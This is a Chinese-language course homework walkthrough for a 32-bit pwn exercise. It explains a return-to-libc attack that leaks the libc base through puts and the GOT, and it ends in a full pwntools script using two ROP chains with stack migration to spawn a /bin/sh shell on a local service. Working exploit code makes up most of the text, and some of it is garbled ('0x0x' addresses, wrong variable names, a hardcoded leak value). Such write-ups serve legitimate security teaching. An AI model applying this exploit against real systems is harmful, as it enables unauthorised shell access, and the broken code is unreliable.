Pwn_9 作业讲解

pwn1

针对Alarm clock进行处理

• 修改程序的16进制数值
• Hook函数

将alarm函数替换掉

在linux下使用命令 sed -i s/alarm/isnan/g ./pwn1

检查保护机制

checksec --file ./pwn1

NX 数据保护权限 可写的不可执行

查看编译

file ./pwn1

./pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5243dd9fb1db881e7845015ab0b1d643857ba43b, stripped

动态编译

确定使用return to library

• 确定libc的基地址，通过puts函数打印.got.plt地址中的值，输出实际地址 libc_base =  address – offset
• 调用libc中的system函数 构造getshell
• 一个Rop是无法完成的，所以需要两个rop,第一个rop泄露基地址，第二个rop构造getshell

小端置序

使用ipython Tab键自动补全

from pwn import *

p = ELF(‘./pwn’)

hex(p.symbols(‘puts’))

hex(p.got['__libc_start_main'])  #获取.got.plt 地址

python –c ‘print “a”*100’ | nc localhost 4000

f661e540

笨方法找实际地址

tmp = r.recvline()

for i in range (len(tmp)):

        print  hex(u32(tmp[i:i+4]))

libc_base = u32（r.recvline()[71:75]）- libc_start_off

pwn1 脚本 两个Rop做stack migration

from pwn import *

r = remote('127.0.0.1',4000)
pwn = ELF('./pwn1')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

read = pwn1.symbols['read']
puts =  pwn.symbols['puts']

libc_start_main_got_plt = pwn.got['__libc_start_main']  #0x0x804a020
libc_start_offset = libc.symbols['__libc_start_main']

leave_ret = 0x0x080484b8
pop_ebp_ret = 0x0804865f
pop3_ret = 0x0804865d

buf = 0x0804b000 - 100
buf1 = 0x0804b000 - 500

rop1 = [
     puts,
     pop_ebp_ret,
     libc_start_main_got_plt,
     read,
     pop3_ret,
     0,
     buf,
     50,
     pop_ebp_ret,
     buf-4,
     leave_ret
]
r.sendline('a'*140+flat(rop1))

libc_base = 0xf661e540 - libc_start_offset

gets_off = libc.symbols['gets']
system_off = libc.symbols['system']

gets = libc_base + gets_off
system = libc_base + system_off
rop2 = [
     gets,
     system,
     buf1,
     buf1
]
r.sendline(flat(rop2))

sleep(2)
r.sendline('/bin/sh\x00')

r.interactive()